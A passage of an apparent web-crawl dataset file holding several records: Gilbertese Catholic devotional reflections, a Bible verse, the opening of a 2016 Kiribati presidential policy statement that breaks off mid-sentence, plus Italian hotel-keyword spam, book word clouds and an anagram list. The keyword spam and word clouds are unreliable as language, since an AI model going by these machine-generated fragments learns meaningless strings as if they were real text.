kamaiu nakoia kain Niniwe e bon reke man aia tauraoi ni butimaea rongorongon te rairannano ba aonga ni bita nanon te Atua ba E na uringa Nanona ao ana atataiaomata ma ana nanoanga n aki kamaunanakoia kain Niniwe. Te bai riki teuana ae katekenano n te karaki aio ba bon tauraoin nanon te Uea iaon Niniwe n anga te katoto ae tamaroa nakoia ana botanaomata ni karina te bua iaona ni kaotia ba ngaia e tauraoi n rinanon te kainano ma te rawawata ba kaotan te nanomaraki ma raraoma ibukin ana bure ao te bubuti aakon te Atua kabaran ana bure.\nNgaira ni kabane ti na kauki nanora ao n tauraoi ni kamarakira ni bubutia te Atua ba E na nanoangaira ao ni kabarai ara bure. Ti na keikina abui te bong ao abui te ngaina inanon te karemo aio ba ara tai n rairi nanora ba ti aonga n tauraoi ni butimaea mangauti inanon te bakate inanon te mimitong ae akea tokina.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira","date":"2023-06-05T04:12:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650620.66\/warc\/CC-MAIN-20230605021141-20230605051141-00277.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1789,"character_repetition_ratio":0.061,"word_repetition_ratio":0.001,"special_characters_ratio":0.216,"stopwords_ratio":0.396,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\nAntai ae na kona motiki taekara ngkana ti maiu inanon ana tangira te Uea? Tera te kabuanibai ae ti kona n reke iai ngkana ti ataia ba bon ana botanaomata ngaira te Atua. Ba E na tei i bukira n taai nako te Atua ngkana ti muiokoi arora ni kabane inanon bain te Atua. E na tei ibukira n taai nako ngkai e bon rawa Nanona ba ti kamaenakoaki ma Ngaia.\nMa ti na kanga n teimatoa ni maiu inanon ana kakawakin te Atua ao n aki reke n te kabuanibai? Te moani bai ae kakawaki bon te kakoaua aron te Atua n tangirira ao n tauraoi n anganira ana nanonaga n taaai nako. Ti na riai naba ni kakoaua naba ba e rawawata Nanon te Uea ngkana ti rineia ba ti na raurenako ma Ngaia. Ba ngkai e a tia ni kaboira te Atua n Raran Natina ae Iesu are mate i aon te kaibangaki ao e bon kaota naba iai takan Nanona n taai nako ibukira ba ti na tiku Irouna ao ti na karekea tokin Nanona ibukira are te maiu ma Ngaia inanon kororaoin te kimarerei i Karawa.\nTariu ao maneu ti riai ni kakaboua i nanora n taai nako aron atakin ao kinakin ana babaire n tangira te Atua ibukira. Ti riai n ata aron tangirara iroun te Atua ao ni kaeka ana Tangira aio n arora ni kaburei maiura. Ti na riai n tauraoi ni butimaii taian kaibangaki inanon maiura ao n tauraoi naba ni manga anga te tangira aio nakoia tarira ma manera. Ti na tauraoi naba n tang nakoina n ara tai n rawawata ba akea te bai ae E na rawa n ongo iai n ara bubuti ngkana e na anganira te maiu. Inanon taai aikai ao a maiti tabeaianga aika a kona n anganira te maku. Ngkana ti maiu inanon ana tangira te Uea ao a na bon akea te bai ae ti na tabeianga iai ba e kakawakinira n taai nako te Atua.\n- Details\n- Written by Uriam Timiti\n-\nE taku St Bauro n te bong aio ba akea kaboutauan aron taian maraki ba rawawata ake ti kaitara ma ngaai inanon maiura aio ma te kakukurein te Maiu inanon mimitong ma te Atua i Karawa n aki totoki. E reitia ma n taku naba St Bauro ba te kantaninga inanon te bai ae ti noria bon akea manena nakon te kantaninga inanon baai aika ti aki nori.\nTera tibangara aika a kona n reke man ana maroro St Bauro aikai? Teuana te bai ae kakawaki bon ataakina ao kakoauakina ba taian maraki ma rawawata bon bai aika riki inanon te tai ae uarereke, ma te maiu ni kimareirei ma te Atua e na bon riki inanon te tai ae aki totoki. Tera ngkanne manenan ae ti na kabua te kabaia ae aki totoki ibukin baai aikai a riki ni maiura ake a reke inanon te rube ni mata? Tera bonganan ae ti na kabua te bai ae aki mamauna ibukin baai aika a mamauna? Tera bonganan ae ti na iri nanora ni kakukurein te maiu aei ae aki tei maan ao ti na kabua te kabaia ae akea tokina? Eng tariu ma maneu, ti na kona n teimatoa n rinanon taian kanganga ni maiura ibukin karekean te kabaia ae akea tokina ngkana iai iroura te kantaninga ae boto i aon te bai ae ti aki noria. Ba te kantaninga i aon te bai ae ti aki noria bon te onimaki ni koaua. E na kairira nakon te mate ae aki totoki te kantaninga ae boto iaon te bai ae ti noria ngkai aikai bon bain aonteaba ao tiaki baini Karawa.\nTe bai teuana ae kakawaki inanon maiura aio ibukin karekean te kabaia are e taekinna St Bauro nakoira n te bong aio bon te aeka ni maiu ae E inaomata iai te Tamnei ae Raoiroi ae ti aranna ngaira kain te charismatic ba te Maiu ae Onraken te Maiu. Bon te Tamnei ae Raoiroi Ngaia ae na kakororaoa maiun te Atua inanora ma ni kakoroi bukin bai ni kabane ake E a tia n anganira Iesu ni matena i aon te kaibaingaki ao mangautina.\nTi na butia te Atua ba E na bukoira n ana karatia ba ti na kona ni butimaai taian ikoaki ma maraki i nanon maiura ao riki ba ti na kona ni karikirakei ao ni kabonganai ana karea te Tamnei ae Raoiroi ake ti a tia ni muiokoaki iai ibukin katongan karawa ikai i aonteaba ao karekean te kabaia ae akea tokina i Karawa.\n- Details\n- Written by Taranieta\n-\nN te bong aio ao e anganira Iesu n Ana Taeka n te Tutia, te kabanea n rietata n Tua ni maiura aio. \"Tangirai, rinanoia aomata nako\". Ti aki toki n tuangaki ba tiaki kona n Tangira te Atua ngkana tiaki tangiria raora ma ara kairiribai n te aro ae ti te bo. Ti na kanga n roko i karawa ngkana aongkoa ti tangira ao ti ti tangiria raora ma tiaki nake ti riribaia? Ba taani bure, a kona naba n tangiria ake bon ti raraoia.\nN te rongorongo n te aonnaba ni bong aika a nako ao e taekinaki maten te tei i Tiaina ae e a tiba rabakau n nakonako, are e bua mai rarikin tinana ao e a roko inanon te kawai, ao ea okakinako n te van. E taekinaki ba e nakon tengaun tabun aomata ake a rirakina ao a manga taonnako. Iai te tia rebwerebwe are e rirarikina ao e noria ao e taonnako, e manga roko te ka ao e a manga taotaonna riki ao e taonnako. Akea ba e a kan tengaun tabun te koraki ake a nora te tei inukan te kawai n rarabuabua ao a bane n rirarikina ao ni kitanna. E roko te unnaine temanna ao e a katikia mai inanon te kawai ao e a tiba roko tinan te tei ao e a bon rangi n rotaki n te nanokawaki. E bon mate te tei.\nE rikirake maitin te botanaomata n te aonnaba ba ea roko n 7 te birion te aomata n tokin te namakaina aio. Maitira ibuakora aika a na koreaki araia n ana boki te Atua ba taian Santa ao Santo ni mateia ba a maiuakina te Tangira ni koaua? N tai aika a nako ao ti tabeman aika e kakouaia te Ekaretia ba Santa ao Santo, ibuakoia iraua te mirion ake a tia ni mate. Bon iai naba, aika a rangi ni karako riki maitia, ake a bon atongaki ba taian Santa ao Santo aika a maiu (living Saints). Temanna ibuakoia bon Mother Teresa mai Calcutta n ana tai ni maiu. E kanga arom ae ko tangiria. I taku ba ngkana ti tangira ni koaua Iesu ao ti na kona ni katotonga Mother Teresa ni maiuna n Tangira ao ti na riki ba ana aomata te Atua aika a tabu aika a maiu naba, ba aio ana wewete ae tangimaka Iesu nakoira,... ma e bon nakoira.\nAio ana taeka Santa Teresa mai Calcutta, \"Iesu, e karikia Ngaia ba te Kariki ni Kamaiu ba e na katoki nanora ni bárua te Atua, ao e na katoki nanora aika a bárua Ana Tangira. Ma e aki tau anne Irouna. E manga karikia ba te aomata ae baki, ae akea rabunana ma kunnikaina, ae akea mengana.....ao E kangai ana taeka, \"Ane karaoa te makuri n tangira nakoia aika a kananoanga ao kam bon karaoia naba Nakoiu.\"\nE taakin baina Iesu ao e rabátiira mai iaon te kaibangaki. E roko iroura namakinan te aakoaki ao te raoi ngkana ti mena inanoan manokan ao bain ara tangira, ma e kororaoi riki aron manokaakira iroun Iesu. Ti a butia Iesu ba e na kabároa iaora ana Tangira mai iaon te kaibangaki ba ti na kona ni kaoka boon Ana Tangira ngkana ti nora raora ae e kainnano, e aoraki, ikuaki ke n akea kanana ma karabaan nukana.\n- Details\n- Written by Uriam Timiti\n-\nN te Tabati are ngkoanannoa ae e a baireaki iaon Biti ba e na riki ba te Tabati ibukia Mitinare (Mission Sunday). Bon te tai are ti a kauringaki iai aron kakawakin te makuri ni mitinare are bon tataekinan ao uotan te rongorongo ae raoiroi nakoia tarira ma manera. Ao tera te rongorongo aio? I taku ba oin raoi te rongorongo bon Ana Tangira te Atua te Tama nakoia aomata ni kabaneia ao Nanona ni kan anganira te Maiu ae Onraken te Maiu.\nTe bai ae kakawaki ngkana ti kan riki ba mitinare ni koaua ngaira bon te kona n tangira Iesu. E kaota ana Tangira te Atua nakoira inanon Iesu ae E tauraki iaon te kaibangaki. Ti na riai ni katuruturua ara taratara n taai nako iaon Iesu ngke ae tine iaon te kaibangaki ba ti aonga n ota raoi n ana Tangira te Atua ibukira. Ti riai n Tangira Iesu ngkana ti na riki ba mitinare ni koaua. Bon ana Tangira te Atua are ti na rabatanna nakoia manera ma tarira ao n te koaua ti aki kona n taekina ao ni kaota te tangira anne ngkana ti aki tangira te Uea.\nTi na uaia ngkanne ni karaba te Atua n ana baintangira nakoira ae bon ara mitinare, riki Taama, Tiina ao Taari. Ti karaba te Uea n te tai aio iroun te Tina Tiura Kaiuea are E a tia ni weteia man te maiu aio ni bakantain te Kaonobong 22 October, 2011. Ti uringa te Tina Tiura n ana tangira ma ana ibuobuoki ae moan te bati nakoira ni kabane, riki n reireiakinara, ma ringan maiura ba ti na kina te Uea. Ti reita naba te karabaraba nakon te Uea ibukin ana utu n tina i Kiribati ae Natin Nei Maria ae ara Uea mairoun Atiniban Iesu n aia makuri ae moan te bati ibukin abara ae Kiribati.Ti na uaia n uringa te Tina Tiura n ara tataro ba E na nanoangaia te Atua ao ni waekoa ni karokoa Irarikina inanon kororaoin te kimareirei ao te mimitong. Ko raba te Tina Tiura ni maiun ao ni baai ni kabane ake ko a tia n anganira. Ti na bon aki kona ni manuokin arom ma am makuri ni kabane ao a na titiku ba ururingam iroura n taai nako.\n- Details\n- Written by Taranieta\n-","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=1550","date":"2024-04-22T00:39:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818067.32\/warc\/CC-MAIN-20240421225303-20240422015303-00400.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1711,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Taranieta\n-\n- Details\n- Written by Taranieta\n-\n- Details\n- Written by Uriam Timiti\n-\nIai te karea teuana ae ti kainanoia inanon mauera ni kiritian ba bon te onimaki. Ti bane ni kamatoaki i matan te Atua n ara onimaki nakoina ba boni Ngaia ae E karikira ao boni Ngaia naba are E tararuaira n taai nako inanon maiura.\nAo ai tera raoi te onimaki? Tariu ao maneu, i boni irou ao I taku ngai ba te onimaki bon te borau inanon te kantaninga ba iai te bai ae ti na karekea ae moan te tamaroa mairoun te Atua. Te onimaki bon te kona ni katikui arora ni kabane inanon bain te Uea are E kakawakinira n taai nako man tabeakinira. Te onimaki bon te kakoaua ba ti tabe ni beibeti inanon marawan ana nanoanga te Atua. Te onimaki bon karekean te bai are ti ataia ba e kanganga rekena iroura n oin korakorara ma bon te Uea ae E na buokira. E riki ngkanne te onimaki ba kakoauan te baintangira ae te kabanea n tamaroa ae na reke iroura ngkana ti kataua ba E na kairi maiura te Uea.\nTe onimaki ngkanne bon te karea are ti na butibuti n taai nako ba e na anganira te Atua ao E na karikirakea. E aki kona n tabanin rekena iroura ni bon ti ngaira ma ti kainnanoa te Atua ba E na buokira n ana karatia ba e na rikirake ara onimaki.\nTeuana te bai ae ti kauringaki n te bong aio ae raon te onimaki aio bon te makuri, riki bon te tauraoi n riki ba taan kakoaua ibukin Iesu nakoia tarira ma manera nako Are nanona ba ti na tauraoi n taai nako n uouota ao n taetaekina ana kamiau ao ana tangira te Uea nakoia aomata nako. Ti na butia te Tamnei ae Raoroi ba e na anganira te korakora ao te ninikoria n tei ibukin Iesu i mataia aomata ao n aki mama ibukina. Ti na bubuti ba ti na aki maku n taekina te koaua e ngae ngkana ti na ribaaki iai. Ba ngkana ti maama n taekina te Uea i mataia aomata ao e na bon mama naba te Uea n tei ibukira n tain te motikitaeka.\nTi riai ngkanne n rabakau ni rinaba raoi ana karea te Atua nakoira ae te onimaki ba E rangi n tangira te Atua ao e kaotia iroun Natina ae Iesu are roko i aonteba ba E na maraki ao ni mate ibukin ara bure. Bon nanon te Uea ba ti na katonga te kimarerei n ana tangira ngkana ti a roko n tokin ara borau n aiaron ana berita n akoi nakoira. N ara onimaki ao katotonga aron Aberam ni karaoa te bai are e tuangnga te Atua.\n- Details\n- Written by Uriam Timiti\n-\nTe bai teuana ae ti kaokoroaki iai mai ibuakon ana kariki bai nako te Atua bon karikara ni katotongan te Atua ao anganakira te maiu n Atua. Ti aki riki inanon te manennanti ma ti riki inanon kororaoin ana babaire n tangira te Atua are nanona ba bon iai bukin karikara. Bon aio te bai ae ti riai ni kakatonga iai ao ti riai n ataia ba iai weteara ae kakawaki iroun te Atua.\nAo tera bukin karikara iroun te Atua? I taku ba oin karikara bon kaotan bannan te Atua nakoia aomata nako. N aiaron Iesu ae E roko i aonteaba ba E na kaota te Atua te Tama ao ngaira ni kabane ti bon riai n katotonga te Atua n arora, anuara ao maiura. Ti na riai ni kawakinira ba ti na aki reke ba bannan te riaboro nakoia aomata. Ti na kawakina aron karaban ao karinean rabatara ni kaota iai tabuna n aron are ti a tia ni karikaki iai. Ba ngkana ti taraaki irouia aomata ao e riai n noraki iroura bannan te Atua. Irarikin anne ao ti na kaota naba te Atua n ara makuri n tangira ao n nanoanga ao n tataekinan ana kamaiu te Atua nakoia tarira manera.\nTariu ma maneu e bon riai ba ti na ataia ba ti bane ni kakawaki i matan te Atua ao iai bukin karikara ae moan te kakawaki. E weteira n arara te Uea ao E muiokoira ma tabera aika a kakaokoro ibukin karokoan Ueana i aonteaba. Inanon ana wewete te Atua ni maiu ma Ngaia ao Ibukina, e bon riai iroura ba ti na anganna n taai nako te karineaki ao te neboaki n arora ni maiu ao n ara makuri. Teuana te kibu ae rangi n tangi maaka nakoira n te Tabati aio bon ana kaeka Iesu nakoia baritaio are e kangai,\" Angan Kaitara ana bai Kaitara ao angan te Atua ana bai te Atua. Ngkai bon ana bai te Atua ngaira ao ti bon riai n anga rabatara, nanora ao arora ni kabane nakon te Atua are E karikira.\n- Details\n- Written by Uriam Timiti\n-\nNgaira bon ana kariki bai te Atua ae moan te kakannato ba ti karikaki ni katotongan te Atua. Arora ni kabane tiaki bon mairoura ma bon mairoun te Atua are Iahawe are \"Ngai ae bon Ngai\". Are nanona ba akea te tabo teuana ae reke ao e managana mai iai aron te Atua ngkai Ngaia bon te Areba ao te Omega, moani baai ao tokiia.\nTi kona ni kabarabara ba e kanga raoi aron namakaina i Karawa? N te koaua ao namakaina are ti taku ba e rangi ni kamimi otana n te bong, ngaia bon akea otana ba e reke man taai. Ngkana akea taai ao e na bon akea naba namakaina.\nNgkana ti karaua n tirotiroi arora mai i taboni waera ni karokoa taubukin atura, ao tao ti na bon titiraki ba a nako mai ia inara ma teira n aomata. N te koaua ao arora ni kabane a bane ni mananga mairoun te Atua. Ma bon iai te bai teuana iroura ae aki nako mairoun te Atua. Ao ai bon te bure ao te bure bon tiaki inan, buran ao aomatan te Atua.\nN te noraba are e anganaki St Catherine of Siena n te taina ao e taku te Santa aio ba e nora Iesu are E tuangnga ba boni Ngaia ae kariki baii ni kabane n ikotaki ma te aomata. E nora naba Iesu n taua te aonnaba ao te botanaomata inanon baina ao e taku' E ngae ngke a bure man tannako mairou ma a na bon aki kona n raurenako ma Ngai ba e korakora riki au tangira ao au Nanoanga ibukia. Bon au bai ngaiia ni kabane ba I karikiia.\" Inanon te kaotioti aio ao e kakoaua St Siena aron koraoin kukureia tamnei ake a botaki ma te Atua i Karawa, ma e kakoaua naba aron nanokawakin ao rawawatan nanon te Atua ngkana e bakataeaki ana tangira ma nanoanga ae moan te kororaoi n taai nako ibukira.\nTariu ao maneu ti karaba ao ti na neboa te Atua n taai nako ibukin kororaoin ana Tangira ma ara nanoanga ibukira. E bane nanona iroura ba e karikira ni katotongana ao bon ana bai ngaira. E weteira n arara ao e rawa nanoan ngkana ti kitanna. E atai arora ni kabane ao e kona ni wareki maitin iran atura. Ngkai ti mananga maiorun te Atua ao ti na bane naba n okira te Atua. Ti na onimakina ana nanoanga te Atua ao n tauraoi naba n anganna mamarara ni kabane ba E na kaitiakira mai iai.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=1560","date":"2024-04-22T00:06:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818067.32\/warc\/CC-MAIN-20240421225303-20240422015303-00431.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1240,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.406,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} diff --git a/gil_Latn/fineweb-2_000001_remove.jsonl b/gil_Latn/fineweb-2_000001_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..603f2a32f6d1f362252f1d095de09d40e63734dd --- /dev/null +++ b/gil_Latn/fineweb-2_000001_remove.jsonl @@ -0,0 +1,146 @@ +{"text":"Musei a TOR VAIANICA Hotels Musei a TOR VAIANICA B&B Musei a TOR VAIANICA Agriturismi Musei a TOR VAIANICA Residences Musei a TOR VAIANICA Hotel Musei a TOR VAIANICA Alberghi Musei a TOR VAIANICA Bed and Breakfast Musei a TOR VAIANICA Appartamenti Musei a TOR VAIANICA OspitalitÓ Musei a TOR VAIANICA Residence Musei a TOR VAIANICA","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.emmeti.it\/Arte\/Lazio\/ProvRoma\/Tor_Vaianica\/index.it.html","date":"2013-06-20T01:52:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368710006682\/warc\/CC-MAIN-20130516131326-00094-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.4395020902,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"gil_Latn_score\": 0.439502090215683, \"rar_Latn_score\": 0.1470409780740738, \"pap_Latn_score\": 0.12036469578742981, \"tah_Latn_score\": 0.04039234295487404, \"tvl_Latn_score\": 0.03566296771168709, \"smo_Latn_score\": 0.01751495525240898, \"srm_Latn_score\": 0.017277222126722336, \"srn_Latn_score\": 0.014496021904051304, \"chk_Latn_score\": 0.013836482539772987, \"aim_Latn_score\": 0.011658333241939545, \"niu_Latn_score\": 0.01120021566748619}","num_words":56,"character_repetition_ratio":0.438,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.196,"flagged_words_ratio":0.0,"lang_id_score":0.429,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"この書籍の 26 ページで ngkai が見つかりました\n検索結果1-3 \/ 26\nレビュー - レビューを書く\nレビューが見つかりませんでした。\n他の版 - すべて表示\nabana Abemama ae arana aika Akau akea ba ana b'ai anne aomata Aonuuka arana aranaki arei aron Arorae Auatabu Auriaria ba e a Baibuke Bakoa Baretoka Beru Buariki bukin Butaritari district e a manga e a tia fonde le siège généalogie Grimble iaan iango iaon iein imwin iroun kaainga kabane kain kangai karawa kariki Karongoa kawara Keaki Kirata koraki Koura Kourabi m'aane m'akuri Maemae maiaki Mamanti mananga maneaba Manriiki meang moana Naareau Naatibu naba nako nakoiang nakon Nanikain nanon natina neiei ngaia ngkai ngkana ngke e a Nikumanu Nikunau Nimanoa Nonouti nord nuuka Onotoa pirogue reke Riiki riki rimwi roko Rungata s'unit Taamoa Tabakea Tabiang Tabiteuea tabo Tabomatang tabon Tabontebike Tabuariki Taburimai Taburitongoun Tabutoa taeka taekan taku tamana Tanentoa Tarawa Tebaka Tebomatemakii Tebooi Teinai Tekaai tekateka Temamaang temanna Tematawarebwe Tetaake teuaei teuana teuare Teweia tiku toka toponyme Uamumuri","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/books.google.co.jp\/books?id=Ul-yAAAAIAAJ&q=ngkai&source=gbs_word_cloud_r&redir_esc=y","date":"2013-12-13T05:22:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164886464\/warc\/CC-MAIN-20131204134806-00006-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.997588098,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9975880980491638}","num_words":148,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"3 pages matching korotabuki in this book\nResults 1-3 of 3\nWhat people are saying - Write a review\nWe haven't found any reviews in the usual places.\nabau Akea i aon ancestors atolls Australia Banaba bane nanou iroum bati Bollywood Butaritari bwabwaku canoe Christmas Island circle In Oceania coconut colours dawn dread to knock dream feel Fiji fish flower garland grandfather Honiara I-Kiribati ikai Ink on paper iroum E bane islands Itabera kaawa Kainikatiku Kava Kiratanuea Kiribatese Kiribati korotabuki laughed Lautoka little death Love waves mama mamauri Melbourne Mother naaka naba nako Nareau Nauru ngai ngaia NGAOU ngkai night Nikunau nimwaereere Niu Waves Nonouti Oceania oceania let Odylia Onotoa Pacific pain pandanus photographs poems Port Augusta Port Vila Rabi rabwa raoi raou raraou riringa sand schools song Stolen Suva sweat taai Tabiteuea tabomoa tangira taranga Tarawa teacher Teiannang Teitawana tell Tennai neera aika Teraaka Teweiariki Teaero Thaman Tiaki tiny toa bouan umwara Tungaru Vanuatu waau Waqalevu weave wife","id":"","dump":"CC-MAIN-2014-41","url":"http:\/\/books.google.com\/books?id=MPJlAAAAMAAJ&q=korotabuki&source=gbs_word_cloud_r&cad=5","date":"2014-10-02T01:11:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-41\/segments\/1412037663612.31\/warc\/CC-MAIN-20140930004103-00380-ip-10-234-18-248.ec2.internal.warc.gz","language":"gil","language_score":0.5247030854,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.5247030854225159, \"eng_Latn_score\": 0.04984254390001297, \"swh_Latn_score\": 0.03947002440690994, \"rar_Latn_score\": 0.022652573883533478, \"sco_Latn_score\": 0.021004045382142067, \"fij_Latn_score\": 0.014337663538753986, \"chk_Latn_score\": 0.01419458445161581, \"mri_Latn_score\": 0.011699024587869644, \"pcm_Latn_score\": 0.01131080836057663, \"hif_Latn_score\": 0.010544396005570889}","num_words":155,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.032,"flagged_words_ratio":0.0,"lang_id_score":0.452,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1 KORINTO 9:22Ngkana a aki kinai tem'angina b'a te tia tuatua ngai, ma kam boni kinai b'a te tia tuatua ngai nako imi; b'a boni kakoauan nakoau ngkami b'a te tia tuatua ngai i bukin te UEA. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/9\/2","date":"2016-10-23T20:53:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988719416.57\/warc\/CC-MAIN-20161020183839-00512-ip-10-171-6-4.ec2.internal.warc.gz","language":"gil","language_score":0.9973739982,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9973739981651306}","num_words":51,"character_repetition_ratio":0.164,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.157,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"aeonian\n7 letters in word \"aeonian\": A A E I N N O.\nNo anagrams for aeonian found in this word list.\nWords found within aeonian:\naa ae aeon ai aia ain aina aine an ana anan ane ani anion ann anna anno anoa anon ea ean en eoan eon eonian in inane inn io ion na naan nae nain nan nana naoi ne neon nie nine no non nona none oe oi on one","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/aeonian.worddetector.com\/","date":"2017-03-23T18:07:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218187193.40\/warc\/CC-MAIN-20170322212947-00353-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":0.4852896035,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.485289603471756, \"aaz_Latn_score\": 0.30875203013420105, \"sps_Latn_score\": 0.04658672586083412, \"mpt_Latn_score\": 0.04385685920715332, \"aoz_Latn_score\": 0.03664932772517204, \"dgz_Latn_score\": 0.016480758786201477}","num_words":74,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":0.532,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"HIS EXCELLENCY TE BERETITENTI TANETI MAAMAU\nPOLICY STATEMENT 2016\n(2nd Meeting of the 11th Parliament – 25th April to 10th May, 2016)\nTe Tibiika ae ko Karineaki ma kaain abam\nTe Tia Moti ae Rietata ma kaain abam\nTe Kauoman ni Beretitenti ma kaain abam\nMinita n te Kaebineti ma kaain abami\nTaan Tei aika kam Karineaki ma kain abami\nKautuun Aaro\nTaan Tei Mai Abatera\nIruwa aika kam Rine\nAo ai bon kaain Kiribati nikabane n taabo aike kama mena iai\nN aran ara Uea are Iesu ao Kam Na Bane Ni Mauri\nI mwain ae I waaki nako, ao I a rimoa n kakaitaua Te Atua ae mwaka n te maeu ao te marurung ae e teimatoa nakoira ni kabane, ao n ana babaire I aon bitakin te kairiri ao te waaki n Tautaeka are e a kabobongaaki raoi rinanon bwanaaia kaain Kiribati n 9 Maati 2016. I a kaaitau naba nakoia naake a tia n kaira te waaki inanon ririki aika a tia n nako man te moan kainaomata, ma aron aia tobwa ake a tia ni uarokoa Kiribati nakon te maneka are e a roko inanona ngkai. Ao n am kariaia te Tiibika, ao tia anga baira n uboubo nakoia taan kairiri aikai.\nImwain ae I wakinako riki ao nna bubuti bwa tina kainababu teuana te miniti n ururing ibukiia Tautian Aotiteria ma Nutiran ao naake a tia n anga maiuia ibukin karekean te rau n te aonnaba.\n(1 Minute of Silence)\nI kukurei ni kawenea nako matami ara Motinnano ngai ma kaain te Kaebineti ao kaain au bwatei ae Tobwaan Kiribati. Te koaua ae rangi ni kakawaki bon karakaan te kabwaia, te mweraoi ao te kukurei nakoia ara botanaomata.\nTe Motinnano aio, a mwaiti kanoana ao are e na riki bwa ana bwai ni mwakuri Te Tautaeka inanon te aua n ririki aika i mwaira. Ti tobwaia ao ti karikirakea, a tei ba ara motto ke ara kibun taeka ake ana riki bwa bween waara, marurungira ao korakorara ni karaoi tabera aika a mwaiti ao aki bebete ibukin te botanaomata. E kakawaki te ikarebai n te waaki ao te tobwa raoi irouia taan kairiri n te waaki n Tautaeka ae e aanaki n te itiaki, te riai ao te koaua.\nTE TAUTAEKA AE E AANAKI N TE RIAI (GOVERNANCE)\nTina bane n kakatonga bwa Kiribati bon te aba ae rau, te aba ae e atatai-aomata ao te aba ae e korakora iai ao man bwabwainaki n taai nako te katei ni karinerine ao te katei ae e aanaki n te riai ao te tangira.\nNgaia are tina kamatoa nakoimi ara botanaomata bwa tina kakaonimaki n kakawenei imatan ami Auti Ni Maungatabu aron wakinan ao kakoroan nanon ara waaki n kairiri. Bwa aio te Auti ae kam rineia kaina ao aio te Auti are ngaia taan tirobaea ao taan kakaeti ara waaki ibukimi ara botanaomata.\nTiaki ti ngaia ma ngkana iai memeren taian Tua ma taian Kaetieti aike ngaia aika ana kanakoraoa aron ara kairiri, ao tina ikarekebai ngaira ma ngkami bwa tina katamaroai ao man kamatoai bwa tina kona iai ngaira ami taan kairiri n motikaki taekara ngkana ti waaki inanon te aki riai ao te babakanikawai. Ngaira taan karaoa ae e riai ao ngaira taan katea te banna ae e tamaroa ae e aanaki n te onimaki. N irekereke ma aio ao iai te kataratara ibukin kanakoraoan kaniwangaia taan Tia Moti ngkai ngaia angatain kamatoan ao karaoan nanon taian Tua ma Kaetieti.\nI kukurei naba n taekinna bwa ae ti waaki ngkai n kamatebwaia Tuan te Aroaro ibukia Taan Kairiri (Leadership Code) are e na reke bwa kaetan waaki nakon te riai ma te kantaninga bwa e na kona n maroroakinaki kanoana nakon te Auti ni Maungatabu are imwin aio. Iai te iango bwa e na kawaekoaki ni kateaki ana komete te Auti n Tei ae te Anti Corruption, are e na ibuobuoki n kakaei rongorongoia taan kairiri ake a tia ni bakataea ao ni burakiakona kaubwain te botanaomata n itera aika 